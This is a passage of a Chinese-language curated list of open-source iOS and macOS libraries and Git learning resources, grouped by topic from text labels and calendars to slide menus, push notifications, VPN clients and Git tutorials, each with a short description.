* [TTTAttributedLabel](https://github.com/TTTAttributedLabel/TTTAttributedLabel) - 一个文字视图开源组件，是UILabel的替代元件，可以以简单的方式展现渲染的属性字符串。另外，还支持链接植入，不管是手动还是使用UIDataDetectorTypes自动把电话号码、事件、地址以及其他信息变成链接。[用TTTAttributedLabel创建变化丰富的UILabel](http://blog.csdn.net/prevention/article/details/9998575) - 网易新闻iOS版使用.
* [MLEmojiLabel](https://github.com/molon/MLEmojiLabel) - 自动识别网址、号码、邮箱、@、#话题#和表情的label。可以自定义自己的表情识别正则，和对应的表情图像。(默认是识别微信的表情符号)，继承自TTTAttributedLabel，所以可以像label一样使用。label的特性全都有，使用起来更友好更方便.
* [FXLabel](https://github.com/nicklockwood/FXLabel) - FXLabel是一个功能强大使用简单的类库，通过提供一个子类改进了标准的UILabel组件，为字体增加了阴影、内阴影和渐变色等，可以被用在任何标准的UILabel中。FXLabel还提供了更多控件，可以对字体行距、字体间距等进行调整.
* [WFReader](https://github.com/TigerWf/WFReader) - 一款简单的coretext阅读器，支持文本选择、高亮以及字体大小选择等.
* [WPAttributedMarkup](https://github.com/nigelgrange/WPAttributedMarkup) - WPAttributedMarkup is a simple utility category that can be used to easily create an attributed string from text with markup tags and a style dictionary.
* [MessageThrottle](https://github.com/yulingtianxia/MessageThrottle) - A lightweight Objective-C message throttle and debounce library.
* [UUColorSwitch](https://github.com/zhangyu9050/UUColorSwitch) - Switch 开关动画效果,当打开开关时，Switch可实现平滑渲染过渡到父视图的效果.
* [UITextViewDIYEmojiExample](https://github.com/zekunyan/UITextViewDIYEmojiExample) - [UITextView编辑时插入自定义表情-简单的图文混编](http://tutuge.me/2015/03/07/UITextView%E7%BC%96%E8%BE%91%E6%97%B6%E6%8F%92%E5%85%A5%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E6%83%85-%E7%AE%80%E5%8D%95%E7%9A%84%E5%9B%BE%E6%96%87%E6%B7%B7%E7%BC%96/).
* [MMMarkdown](https://github.com/mdiep/MMMarkdown) - 一个Objective-C的静态库,用于将Markdown语法转换换为HTML.
* [ZSSRichTextEditor](https://github.com/nnhubbard/ZSSRichTextEditor) - 适用于iOS的富文本WYSIWYG编辑器，支持语法高亮和源码查看。ZSSRichTextEditor包含所有WYSIWYG标准的编辑器工具.
* [CSGrowingTextView](https://github.com/cloverstudio/CSGrowingTextView) - 用作即时通讯文本框和评论文本框使用，可以显示多行输入.
* [MarkdownTextView](https://github.com/indragiek/MarkdownTextView) - 显示Markdown的TextView.
* [高仿微信限定行数文字内容](http://d.cocoachina.com/code/detail/300299) - 采用Autolayout高仿微信纯文字限定行数.
* [FuriganaTextView](https://github.com/lingochamp/FuriganaTextView) - 实现复杂的日文韩文排版.
* [ParkedTextField](https://github.com/gmertk/ParkedTextField) - 带固定文本的输入组件.
* [GJCFCoreText](https://github.com/zyprosoft/GJCFCoreText) - 图文混排.
* [AttributedLabel](https://github.com/KyoheiG3/AttributedLabel) - 显示性能数量级 UILabel 的 AttributedLabel。无畏无惧、挑战权威.
* [FFLabel](https://github.com/liufan321/FFLabel) - 自动检测 URLs, @username, #topic# 等关链词（提供响应扩展）。实用的标签文本小组件.
* [TextFieldEffects](https://github.com/raulriera/TextFieldEffects) - 标准的UITextField有些枯燥么？来认识一下TextFieldEffects吧！废话不多说，只要看几个例子,是啊，都是些简单的dropin控制器。甚至可以在storyboard中使用IBDesignables.
* [AutocompleteField](https://github.com/filipstefansson/AutocompleteField) - 可应用于 iOS 应用中文字输入框自动补全的场景, 兼容到 iOS 8.
* [WordPress-Editor-iOS](https://github.com/wordpress-mobile/WordPress-Editor-iOS) - 一个文本编辑器 简书和新浪博客都在用.
* [placeholder_TextView](http://code.cocoachina.com/view/129099) - 带有placeholder的TextView：带有提示信息的textview，使用懒加载的思想，支持扩展、自定义，类似许多APP内部的意见反馈页面.
* [M80AttributedLabel](https://github.com/xiangwangfeng/M80AttributedLabel) - M80AttributedLabel实现文字与表情的混排。一般使用气泡作为背景.功能较齐全的attributed lable，支持attributed string和图片、链接、控件的混排.
* [CTTextDisplayView](https://github.com/BrownCN023/CTTextDisplayView) - 一个CoreText完成的图文混排视图，主要用于文本中显示表情@#URL等，类似于QQ、微博的评论图文功能.
#### 表情@
* [SBSAnimoji](https://github.com/simonbs/SBSAnimoji) - 🐵 Animoji app using Apples AvatarKit.
* [AnimojiStudio](https://github.com/insidegui/AnimojiStudio) - Make Animoji videos with unlimited duration and share anywhere.
* [Animoji](https://github.com/efremidze/Animoji) - Animoji Generator 🦊 .
#### 字体@
* [xkcd-font](https://github.com/ipython/xkcd-font) - The xkcd font.
* [FontAwesomeKit](https://github.com/PrideChung/FontAwesomeKit) - 图片字体库，支持超级字体、基础Icon等，支持同时支持Swift.
#### 日历@
* [FDCalendar](https://github.com/fergusding/FDCalendar) - A custom calendar control in iOS.
* [FSCalendar](https://github.com/WenchaoD/FSCalendar) - 一款漂亮，强大的 iOS 日历组件 A fully customizable iOS calendar library, compatible with Objective-C and Swift.
* [MSSCalendar](https://github.com/MSS0306/MSSCalendar) - A simple iOS Calendar 高性能日历控件（类似去哪网）.
* [Calendar](https://github.com/jumartin/Calendar) - 日历、行程安排类的View和控制器。A set of views and controllers for displaying and scheduling events on iOS.
* [HYYCalendar](https://github.com/kRadius/HYYCalendar) - 一个简单易用的日期的选择的控件，支持日历选择和Picker选择两种方式。支持iOS 6+.
* [JTCalendar](https://github.com/jonathantribouharet/JTCalendar) - iOS下优美的 Calendar 组件，做 GTD 类 App 必备.
* [MSCollectionViewCalendarLayout](https://github.com/erichoracek/MSCollectionViewCalendarLayout) - 日历 UICollectionViewLayout for displaying cells chronologically. Similar to the iOS Calendar app.
* [PDTSimpleCalendar](https://github.com/jivesoftware/PDTSimpleCalendar) - 是iOS最棒的日历组件了。你可以在各个方面对它进行定制，无论是运行逻辑还是外观方面.
#### 游戏@
* [Urho3D](https://github.com/urho3d/Urho3D) - a free lightweight, cross-platform 2D and 3D game engine implemented in C++.
* [cocos2d-objc](https://github.com/cocos2d/cocos2d-objc) - Cocos2d for iOS and OS X, built using Objective-C.
#### 小样@
#### 机器学习@
* [ShowAndTell](https://github.com/LitleCarl/ShowAndTell) - A Show And Tell implementation for iOS 11.0 based on CoreML.
#### VPN@
* [Hydro.network](https://github.com/CatchChat/Hydro.network) - [Hydro.network 的开发旅程](http://blog.zhowkev.in/2015/03/09/hydro-network-de-kai-fa-lu-cheng/), [gitcafe](https://gitcafe.com/Catch/Hydro.network).
* [new-pac](https://github.com/Alvin9999/new-pac/wiki) - 自由上网方法.
* [Shadowsocks-X](https://github.com/yangfeicheung/Shadowsocks-X) - Latest ShadowsocksX for Mac OS X 10.9+.
* [Potatso](https://github.com/shadowsocks/Potatso) - 基于iOS 9 的 NetworkExtension 框架实现 Shadowsocks 代理，由国人开发，虽然还有很多问题不过确实值得期待.
* [forum](https://github.com/getlantern/forum) - 蓝灯(Lantern)官方论坛.
* [WireGuard](https://github.com/WireGuard/WireGuard) - Jason A. Donenfeld开发的开源VPN协议。目前支持Linux, macOS, Android以及OpenWrt.
* [V2RayX](https://github.com/Cenmrev/V2RayX) - 一个非常小巧灵活的代理软件.
* [clashX](https://github.com/yichengchen/clashX) - A rule based proxy For Mac base on Clash.
#### 地图@
* [YJLocationConverter](https://github.com/stackhou/YJLocationConverter) - 中国国测局地理坐标（GCJ-02）<火星坐标>、世界标准地理坐标(WGS-84) 、百度地理坐标（BD-09)坐标系转换工具类.
* [LocationManager](https://github.com/intuit/LocationManager) - 对苹果 Core Location 框架的封装，轻松获取 iOS 设备上的位置信息和方向信息。支持 Objective-C 和 Swift。
#### 通知@
* [JSQNotificationObserverKit](https://github.com/jessesquires/JSQNotificationObserverKit) - 一款轻量、易用的通知发送及响应框架类库。作者是知名开源项目 JSQMessagesViewController（Objective-C 版即时聊天）的作者 Jesse Squires.
* [NWPusher](https://github.com/noodlewerk/NWPusher) - OS X and iOS application and framework to play with the Apple Push Notification service (APNs).
* [TSMessages](https://github.com/KrauseFx/TSMessages) - 易于使用和定制的消息/通知,用于 iOS版Tweetbot.
* [terminal-notifier](https://github.com/julienXX/terminal-notifier) - Send User Notifications on macOS from the command-line.
* [CWStatusBarNotification](https://github.com/cezarywojcik/CWStatusBarNotification) - 酷炫的通知栏，多种通知样式，使用简单,非常赞👍 .
* [GLPubSub](https://github.com/Glow-Inc/GLPubSub) - 一个简短实用的 NSNotificationCenter 的封装.
* [JDStatusBarNotification](https://github.com/jaydee3/JDStatusBarNotification) - 在状态栏顶部显示通知。可以自定义颜色字体以及动画。支持进度显示以及显示状态指示器.
* [obito](https://github.com/jiajunhuang/obito) - an iOS notification service out of box.
* [iVersion](https://github.com/nicklockwood/iVersion) 非常赞👍 的一个灵活动态监测App是否有更新的库，并可以通知用户升级.
#### 通讯录@
* [快速查找联系人](http://code.cocoachina.com/view/128245) - 类似微信联系人搜索的界面,快速查找联系人,并支持点击查询结果.
* [PPGetAddressBook](https://github.com/jkpang/PPGetAddressBook) - 对联系人姓名第二个字做排序处理,对AddressBook框架(iOS9之前)和Contacts框架(iOS9之后)做了对应的封装处理,一句代码搞定联系人的获取与排序.
#### 深度学习@
* [TrafficLights-DeepLearning-iOS](https://github.com/asavihay/TrafficLights-DeepLearning-iOS) 利用Caffe深度学习执着的一个交通灯信号检测App
#### 侧滑与右滑返回手势@
* [ViewDeck](https://github.com/ViewDeck/ViewDeck) - 项目需要用到左侧右侧各有一个抽屉视图，而这个类库可以极其简单的实现这个功能，不单单是左右各一个，它可以随意设置上下左右的抽屉视图，简直是360度想怎么抽怎么抽.
* [FDFullscreenPopGesture](https://github.com/forkingdog/FDFullscreenPopGesture) - 非常棒的全屏手势侧滑，只需导入此库，就可以让你的App具备左滑返回功能，不用写一句代码.
* [SloppySwiper](https://github.com/fastred/SloppySwiper) - iOS系统自带的UINavigationController要7.0才支持，但不过该手势只能从屏幕左侧边缘识别，如果要扩大到整个屏幕范围怎么办？配合一个SloppySwiper无需代码就可以轻松实现。此库支持iOS5.0以上版本（另外：Nav的title滑动不明显，本人写了2个类似的控件），[SloppySwiper-demo](https://github.com/Tim9Liu9/SloppySwiper-Example) ：代码方式与storyboard方式。
* [SCNavigation](https://github.com/singro/SCNavigation) - UINavigation可以右滑返回，隐藏UINavigationBar.
* [UINavigationController-YRBackGesture](https://github.com/YueRuo/UINavigationController-YRBackGesture) - 支持右滑返回手势，标题栏不动。
* [GHSidebarNav](https://github.com/gresrun/GHSidebarNav) - 现在比较流行使用侧开(侧滑)菜单设计。试了不少控件，感觉GHSidebarNav最成熟，尤其对纯代码创建的界面兼容性最好。[在Storyboard中使用GHSidebarNav侧开菜单控件](http://www.cnblogs.com/zyl910/archive/2013/06/14/ios_storyboard_sidemenu.html).
* [iOS-Slide-Menu](https://github.com/aryaxt/iOS-Slide-Menu) - 能够类似Facebook和Path那样弹出左右边栏侧滑菜单,还支持手势。多种可以自定义的属性 (非常不错).
* [ECSlidingViewController](https://github.com/ECSlidingViewController/ECSlidingViewController) - 侧滑菜单.
* [JASidePanels](https://github.com/gotosleep/JASidePanels) - 侧滑菜单,有左右菜单，有pop功能，支持手势侧滑,本人使用中：简单.
* [animated-tab-bar](https://github.com/Ramotion/animated-tab-bar) - 让 Tabbar items能显示萌萌的动画.
* [tabbar图标动画](http://code.cocoachina.com/detail/284346) - tabbar上图标的动画实现，[源码推荐说明](http://www.cocoachina.com/ios/20150205/11116.html)。
* [JHMenuTableViewDemo](https://github.com/Jiahai/JHMenuTableViewDemo) - 仿网易邮箱列表侧滑菜单.
* [SlideMenuView](https://github.com/xudafeng/SlideMenuView) - 炫酷侧滑菜单布局框架，[Android版本的一致实现](Android 版本的一致实现请见：https://github.com/xudafeng/SlidingMenu)。
* [KGFloatingDrawer](https://github.com/KyleGoddard/KGFloatingDrawer) - 侧滑菜单，qq类似，KyleGoddard/KGFloatingDrawer：一款适合于大屏手机或平板的浮动抽屉式导航界面组件。效果很赞- 侧开菜单，qq类似（与RESideMenu类似).
* [AIFlatSwitch](https://github.com/cocoatoucher/AIFlatSwitch) - 一款带平滑过渡动画的 Switch 组件类，类相同风格的 Menu/Back[HamburgerButton](https://github.com/fastred/HamburgerButton),类似相同风格的 Menu/Close[hamburger-button](https://github.com/robb/hamburger-button).
* [WXGSlideMenuDemo](https://github.com/WXGBridgeQ/WXGSlideMenuDemo) - 个简单实现侧拉（侧滑）菜单的小demo，供初学者共同学习、练习使用.
* [PKRevealController](https://github.com/pkluz/PKRevealController) - PKRevealController是一个可以滑动的侧边栏菜单（可向左、向右或者同时向两侧），只需手指轻轻一点（或者按一下按钮，但是这样滑动时不够炫酷），这类控制的其他库，而PKRevealController是最棒的。安装简便，高度定制且对手势识别良好。可以当做一个标准控件用在iOS SDK中.
* [FlipBoardNavigationController](https://github.com/michaelhenry/FlipBoardNavigationController) - FlipBoardNavigationController.
* [MMDrawerController](https://github.com/mutualmobile/MMDrawerController) - 最多人用的一个有关侧边“抽屉”导航框架，里面还有很多你意想不到的交互效果，侧滑.
* [UIWebView翻页返回效果](http://code.cocoachina.com/detail/316925/UIWebView%E7%BF%BB%E9%A1%B5%E8%BF%94%E5%9B%9E%E6%95%88%E6%9E%9C%EF%BC%88%E5%8F%98%E9%80%9A%E6%96%B9%E6%B3%95%EF%BC%89/) - UIWebView翻页返回效果（变通方法）.
* [LLSlideMenu](https://github.com/lilei644/LLSlideMenu) - 一个弹性侧滑菜单,弹性动画原理借鉴该项目中阻尼函数实现.
* [ScreenShotBack](https://github.com/zhengwenming/ScreenShotBack) - 全屏返回，截图手势返回，景深效果，类似斗鱼、天天快报、腾讯新闻等APP的手势返回.
* [MLTransition](https://github.com/molon/MLTransition) iOS7+, pop ViewController with pan gesture from middle or edge of screen.
#### ipad@
* [UISplitViewControllerDemo](https://github.com/NatashaTheRobot/UISplitViewControllerDemo) - iOS8 UISplitViewController Demo.
* [Shadertweak](https://github.com/warrenm/Shadertweak) - An iPad app that allows you to rapidly prototype fragment shaders in the Metal shading language.
* [IntelligentSplitViewController](https://github.com/mrhyh/IntelligentSplitViewController) - A smarter UISplitViewController that rotates correctly when placed inside a UITabBarController.
#### 通讯@
* [peertalk](https://github.com/rsms/peertalk) - peertalk 是一个支持 iOS 与 Mac 通过 USB 相互通讯的开源库。 Duet Display 基于此实现了将 Mac 界面呈现到 iOS 设备上.
#### 其他库@
* [iOS源代码](http://opensource.apple.com/source/CF/) - iOS源代码.
* [Slidden](https://github.com/Brimizer/Slidden) - 一个老外开源的开发自定义键盘的库，利用这个开源库，可以方便的配置键位、颜色以及键位对应的图片.
* [TPKeyboardAvoiding](https://github.com/michaeltyson/TPKeyboardAvoiding) - 用户键盘弹出自动计算高度，进行屏幕滚动操作.
* [CDPMonitorKeyboard](http://d.cocoachina.com/code/detail/298267) - CDPMonitorKeyboard封装,可以解决输入视图(例如textField,textView等)被键盘覆盖问题，并可设置高于键盘多少.
* [自动监听键盘高度](http://code.cocoachina.com/detail/297973/%E8%87%AA%E5%8A%A8%E7%9B%91%E5%90%AC%E9%94%AE%E7%9B%98%E9%AB%98%E5%BA%A6/) - 自动监听键盘高度，初始界面，输入框在屏幕最下方，当键盘出现时，输入框随即移动到键盘上方.
* [ZYKeyboardUtil](https://github.com/liuzhiyi1992/ZYKeyboardUtil) - 全自动处理键盘遮挡事件，只需要一个Block，全自动处理任何多层嵌套复杂界面 因键盘升降 造成的输入控件遮挡问题。
第三方键盘分次弹出问题 ,[说明](http://ios.jobbole.com/85135/).
* [KeyboardToolBar](https://github.com/Jiar/KeyboardToolBar/) - 从此不再担心键盘遮住输入框，[文档](http://www.jianshu.com/p/48993ff982c1)。
* [Review Monitor](https://launchkit.io/reviews/) - 第一时间自动推送 Apple Store 的用户评论到你的邮件箱或者 Slack，第一时间跟进用户反馈，打造优秀 App 必备工具！类似的有：App annie 的类似功能.
* [WBWebViewConsole](https://github.com/Naituw/WBWebViewConsole) - 类似微博iPhone客户端的 “调试选项” 吗？把其中的 “内置浏览器网页调试” 开源在 Github 上了.
* [ios-good-practices](https://github.com/futurice/ios-good-practices) - ios-good-practices iOS 开发最佳实践.
* [iOS开发最佳实践](http://ios.jobbole.com/81830/) - iOS 开发最佳实践-中文.
* [TodayExtensionSharingDefaults](http://code.cocoachina.com/detail/232160) - TodayExtensionSharingDefaults是一个iOS 8 Today扩展示例，可以使用NSUserDefaults与其containing app分享数据.
* [Password-keyboard](https://github.com/liuchunlao/Password-keyboard) - 随机变换数字位置的密码键盘。 模仿银行类应用在付款时输入的随机密码键盘.
* [SemverKit](https://github.com/nomothetis/SemverKit) - 针对符合『语义化版本规范 2.0.0』版本号的解析、比较运算类库。不仅支持 Major, Minor, Patch，还支持 Alpha 和 Beta 预发布版本，以及相应地递增运算扩展.
* [Tesseract-OCR-iOS](https://github.com/gali8/Tesseract-OCR-iOS) - 有关OCR文字识别项目.
* [Screenotate](https://github.com/osnr/Screenotate) - 支持 OCR 文字识别的载屏笔记 Mac 完整应用.
* [Olla4iOS](https://github.com/nonstriater/Olla4iOS) - 过去积累的一些方便复用的类和方法，还在整理中.
* [DKNightVersion](https://github.com/Draveness/DKNightVersion) - 用最快的方式给你的应用加上夜间和白天的切换效果.
* [TouchVisualizer](https://github.com/morizotter/TouchVisualizer) - 实用的多点触摸可视化组件。扩展并作用于 UIWindows，结构上提供了简单地针对触摸显示定制，比如触摸点的颜色.
* [RegexKitLite](https://github.com/wezm/RegexKitLite) - 用来处理正则表达式.
* [Seam](https://github.com/nofelmahmood/Seam) - 基于 CloudKit 服务器实现多终端数据同步。
* [IDNFeedParser](https://github.com/photondragon/IDNFeedParser) - 一个简单易用的Rss解析库.
* [CoreUmeng](https://github.com/CharlinFeng/CoreUmeng) - 简单：友盟分享封装.
* [Mirror](https://github.com/kostiakoval/Mirror) - 通过反射（Refection）实现镜像对象封装库。从而可以更轻松获取（或输出）对象属性名、类型及值变量.
* [PermissionScope](https://github.com/nickoneill/PermissionScope) - 用这个库可以在询问用户前，就告知用户所需的系统权限，为用户带来更好的体验。接受度更高—>更多活跃用户->更高的留存率->数据更好->下载率更高.
* [LocationManager](https://github.com/intuit/LocationManager) - 地理位置管理封装库， CoreLocation使用起来还是比较麻烦的，需要授权，判断系统版本等等，所以推荐使用第三方框架LocationManager，使用Block，十分简单！[iOS-CoreLocation：无论你在哪里，我都要找到你！](http://www.cocoachina.com/ios/20150721/12611.html) .
* [pangu.objective-c](https://github.com/Cee/pangu.objective-c) - 有多种语言实现版本～ Pangu.Objective-C：格式化中英文之间的空格（OC）.
* [objection](https://github.com/atomicobject/objection) - 一个轻量级的依赖注入框架Objection.
* [ControlOrientation](https://github.com/johnlui/Swift-On-iOS/tree/master/ControlOrientation/ControlOrientation) - 如何用代码控制以不同屏幕方向打开新页面【iOS】， [使用说明](https://lvwenhan.com/ios/458.html).
* [GameCenterManager](https://github.com/nihalahmed/GameCenterManager) - 在iOS上管理GameCenter vanilla并不算难，但是有了这个库会更简单也更快。好上加好不是更好么.
* [SlackTextViewController](https://github.com/slackhq/SlackTextViewController) - 用作极佳、定制的文本输入控制时，自适应文本区域，手势识别、自动填充、多媒体合并，快速drop-in解决方案.
* [TAPromotee](https://github.com/JanC/TAPromotee) - 交叉推广应用是你可以免费实现的最佳市场推广策略之一。使用这个库做起来非常简单，不用都不可能——将TAPromotee加入你的podfile中，免费配置与享受更多下载吧。
* [DownloadFontOnline](https://github.com/cgwangding/DownloadFontOnline) - 实现了在线下载一些字体的功能，不用在工程中导入字体库，下载的字体也不会保存在你的应用中，所以可以放心使用。修复了一下崩溃的bug。
* [STClock](https://github.com/zhenlintie/STClock) - 仿锤子时钟.
* [GitUp](https://github.com/git-up/GitUp) - GitUp是一个可视化的Git客户端，能够实时的进行编辑、合并、回滚等多种操作，更多功能，请下载体验.
* [获取联系人信息，通讯录](http://code.cocoachina.com/detail/320392/) - 获取联系人信息，通讯录.
* [Universal-Jump-ViewController](https://github.com/HHuiHao/Universal-Jump-ViewController) - 根据规则跳转到指定的界面(runtime实用篇一)。
* [打开自带地图、百度地图、腾讯地图](http://code.cocoachina.com/view/128249) - 打开自带地图、百度地图、腾讯地图。
* [DDSlackFeedback](https://github.com/deepdevelop/DDSlackFeedback) - 用这个接口实现的摇一摇上传文字或者截屏反馈到你的 Slack channel，特别适合测试 app 的时候用，集成也很简单。
* [BabyBluetooth](https://github.com/coolnameismy/BabyBluetooth) - 是一个非常容易使用的蓝牙库, 适用于 iOS 和 Mac OS, 基于原生 CoreBluetooth 框架封装, 可以帮开发者们更简单地使用 CoreBluetooth API, 使用链式方法体, 使得代码更简洁、优雅。[iOS蓝牙开发（四）：BabyBluetooth蓝牙库介绍](http://www.cocoachina.com/ios/20160219/15301.html)
* [BHBDrawBoarderDemo车](https://github.com/bb-coder/BHBDrawBoarderDemo) - 仿写猿题库练题画板功能，没有用drawRect，而是用CAShapeLayer来做画板绘画，特别省内存，赞1个，[实现分析](http://bihongbo.com/2016/01/03/memoryGhostdrawRect/).
* [BGTaobao](https://github.com/huangzhibiao/-) - ios 高仿淘宝/京东详情页 - 集合各种测试框架.
* [PromiseKit](https://github.com/mxcl/PromiseKit) - 同时支持 Swift 及 Objective-C 的 Promise 类库，异步编程类库 提供了很多实用的异步函数 让异步编程更简单.
* [HWChangeFont](https://github.com/Loveway/HWChangeFont) - 利用runtime一键改变字体。[教程](http://www.jianshu.com/p/b9fdd17c525e).
* [RuntimeSummary](https://github.com/Tuccuay/RuntimeSummary) - 一个集合了常用 Objective-C Runtime 使用方法的 Playground。
* [GCDThrottle](https://github.com/cyanzhong/GCDThrottle) - 限制频率过高的调用GCD多线程。
* [WHC_KeyboardManager](https://github.com/netyouli/WHC_KeyboardManager)iOS平台轻量级的键盘管理器，使用简单功能强大，键盘再也不会挡住输入控件
* [Inkpad](https://github.com/TheLittleBoy/inkpad-fork) - iOS高级画板，原inkpad项目修复bug的版本。
* [coobjc](https://github.com/alibaba/coobjc) - Alibaba 开源库，这个库为 Objective-C 和 Swift 提供了协程功能。coobjc 支持 await、generator 和 actor model，接口参考了 C# 、Javascript 和 Kotlin 中的很多设计。还提供了 cokit 库为 Foundation 和 UIKit 中的部分 API 提供了协程化支持，包括 NSFileManager , JSON , NSData , UIImage 等。coobjc 也提供了元组的支持。
#### 消息相关@
#### 消息推送客户端@
* [SmartPush](https://github.com/shaojiankui/SmartPush) SmartPush,一款iOS苹果远程推送测试程序,Mac OS下的APNS工具APP,iOS Push Notification Debug App
* [Orbiter](https://github.com/mattt/Orbiter) - 消息推送客户端:Push Notification Registration for iOS.
* [PushDemo](https://github.com/ios44first/PushDemo) - 客户端消息接收消息代码，[IOS开发之 ---- IOS8推送消息注册](http://blog.sina.com.cn/s/blog_71715bf80102uy2k.html) ， [分分钟搞定IOS远程消息推送](http://my.oschina.net/u/2340880/blog/413584)。
#### 消息推送服务端@
* [javapns源代码](https://code.google.com/p/archive/downloads/list) - 消息推送的java服务端代码，注意：DeviceToken中间不能有空格。
* [pushMeBaby](https://github.com/stefanhafeneger/PushMeBaby) - Mac端消息推送端代码，注意：DeviceToken中间要有空格。
#### 时间日期@
* [DateTools](https://github.com/MatthewYork/DateTools) - 用于提高Objective-C中日期和时间相关操作的效率。灵感来源于 DateTime和Time Period Library.
* [NSDate-TimeAgo](https://github.com/kevinlawler/NSDate-TimeAgo) - A "time ago", "time since", "relative date", or "fuzzy date" category for NSDate and iOS, Objective-C, Cocoa Touch, iPhone, iPad.
* [DatePicker](https://github.com/Zws-China/DatePicker) - 日期选择器,日期时间选择,时间选择器.
* [iso-8601-date-formatter](https://github.com/boredzo/iso-8601-date-formatter) - cocoaNSFormatter子类日期转换为从ISO- 8601格式的字符串。支持日历，星期，和序格式.
#### 设计模式@
* [Design-Patterns-In-Swift](https://github.com/ochococo/Design-Patterns-In-Swift) 非常👍 Design Patterns implemented in Swift
* [KVOController](https://github.com/facebook/KVOController) 是一个简单安全的KVO（Key-value Observing，键-值观察）工具，用于iOS 和OS X 应用开发中，开源自facebook。 在项目中有使用 KVO ，那么 KVOController 绝对是个好选择。
* [DecouplingKit](https://github.com/coderyi/DecouplingKit) iOS模块化过程中模块间解耦方案。
* [Trip-to-iOS-Design-Patterns](https://github.com/skyming/Trip-to-iOS-Design-Patterns)
#### 三方@
#### 三方分享、支付、登录等等@
* [openshare](https://github.com/100apps/openshare) - 不用官方SDK，利用社交软件移动客户端(微信/QQ/微博/人人/支付宝)分享/登录/支付.
* [RongCloud-SDK-description](https://github.com/zhengwenming/RongCloud-SDK-description) 介绍融云SDK即时通讯机制和集成步骤，由于国内CSDN博客封杀带有广告性质的文章（其实不是打广告，纯粹的技术分享），所以只能在Github发表了。希望大家支持我，谢谢。Demo地址：https://github.com/zhengwenming/RCIM .
* [RCIM](https://github.com/zhengwenming/RCIM) 融云SDK集成即时通讯。单聊，群聊，讨论组，自定义cell,自定义消息等.
* [WechatPayDemo](https://github.com/gbammc/WechatPayDemo) - 非官方微信支付 iOS demo.
* [ShareView](https://github.com/mrhyh/ShareView) - 一个xib做的分享UI.
* [HXEasyCustomShareView](https://github.com/huangxuan518/HXEasyCustomShareView) - 轻松集成分享界面UI.
#### 区块链@
* [awesome-blockchain](https://github.com/chaozh/awesome-blockchain) - 收集所有区块链(BlockChain)技术开发相关资料，包括Fabric和Ethereum开发资料.
#### 版本管理@
* [cocoapods安装指南](http://code4app.com/article/cocoapods-install-usage) - cocoapods安装指南.
* [fastlane](https://github.com/fastlane/fastlane) - 非常棒👍👍👍一套iOS开发和持续集成的命令行工具fastlane，可以用来快速搭建CI甚至自动提交的开发环境。这套工具中包括了上传ipa文件，自动截取多语言截屏，生成推送证书，管理产品证书等一系列实用工具.
#### Git用法@
* [objective-git](https://github.com/libgit2/objective-git) - objective-git 是libgit2 的Objective-C 封装版本，支持OS X 和iOS 系统.Libgit2 是一个 Git 的非依赖性的工具，它致力于为其他程序使用 Git 提供更好的 API.
* [git-recipes](https://github.com/geeeeeeeeek/git-recipes) - 高质量的Git中文教程.
* [lark](https://github.com/larkjs/lark/wiki/怎样贡献代码) - 怎样在Github上面贡献代码.
* [my-git](https://github.com/xirong/my-git) - 有关git的学习资料.
* [gitignore](https://github.com/github/gitignore) - .gitignore模板集合，包含了各种语言.
* [Linus讲解git](https://www.youtube.com/watch?v=4XpnKHJAok8) - Google大会演讲，Linus介绍他创造git的原因，对比了git和svn.
* [Git教程 - 廖雪峰的官方网站](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - 史上最浅显易懂的Git教程.
* [git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - 助你入门 git 的简明指南，木有高深内容 ;)
* [常用 Git 命令清单](http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html) - 来自阮一峰的网络日志，列出了 Git 最常用的命令。
* [Pro Git（中文版）](https://git.oschina.net/progit/) - Pro Git（中文版).
* [Git Submodule使用完整教程](http://www.kafeitu.me/git/2012/03/27/git-submodule.html) - Git Submodule使用完整教程.
* [Git权威指南](http://www.worldhello.net/gotgit/) - Git权威指南.
* [git-flow 备忘清单](http://danielkummer.github.io/git-flow-cheatsheet/index.zh_CN.html) - git-flow 是一个 git 扩展集，按 Vincent Driessen 的分支模型提供高层次的库操作.
* [Git Magic](http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn/) - git-flow 备忘清单.
* [Atlassian Git Tutorials](https://www.atlassian.com/git/tutorials/setting-up-a-repository/) - Atlassian Git Tutorials.
* [Try Git ( Interactive)](https://try.github.io/levels/1/challenges/1) - 互动性的教你使用git.
* [Git (简体中文)](https://wiki.archlinux.org/index.php/Git_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)) - Git (简体中文).
* [Git Community Book 中文版](http://gitbook.liuhui998.com/index.html) - Git Community Book 中文版.
* [awesome-github-templates](https://github.com/devspace/awesome-github-templates) - github issue 和 pull request教程模板.
* [git-recipes](https://github.com/geeeeeeeeek/git-recipes) - 高质量的Git中文教程，来自国外社区的优秀文章和个人实践.
* [git-it](http://jlord.us/git-it/) - GitHub一位女员工写的Git教程.
* [Git Town](http://www.git-town.com/) - GitTown 定义了很多高级的 git 命令，例如 git ship / git sync 等以方便 git 的使用.
* [git-tips](https://github.com/git-tips/tips) - 最常用的Git的提示和技巧。
* [「Githug」Git 游戏通关流程](http://www.jianshu.com/p/482b32716bbe) - 这个命令行工具通过游戏的方式来练习你的 Git 技能.
* [progit2-zh](https://github.com/progit/progit2-zh) - Pro Git，第二版，简体中文.
* [git-style-guide](https://github.com/agis-/git-style-guide)- git风格指南.
* [Git 进阶技巧](https://github.com/xhacker/GitProTips/blob/master/zh_CN.md) - 适合了解 Git 的基本使用，知道 commit、push、pull，希望掌握 Git 更多功能的人阅读.
* [learn-git-basics](https://github.com/NataliaLKB/learn-git-basics) - git指南.
* [30 天精通 Git 版本控管](https://github.com/doggy8088/Learn-Git-in-30-days/blob/master/zh-tw/README.md) 30 天精通 Git 版本控管.
* [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - 图解git中的最常用命令.
* [沉浸式学 Git](http://igit.linuxtoy.org/contents.html) - 简洁github教程.
* [工作中常用的Git命令行](https://github.com/DefaultYuan/Git-Pro) - 自己在工作中常用的Git命令行的小总结.
#### GitHub@
* [python_github_collect_star](https://github.com/Tim9Liu9/python_github_collect_star) - 收集github上项目的star数、fork数、watch数
* [GitHub Pages 指南](http://jekyllcn.com/) - GitHub官方文档翻译版.
* [GitHub Pages 指南 - 极客学院](http://wiki.jikexueyuan.com/project/github-pages-basics/) - GitHub Pages 官网 GitHub Pages Basics 的中文翻译版本.
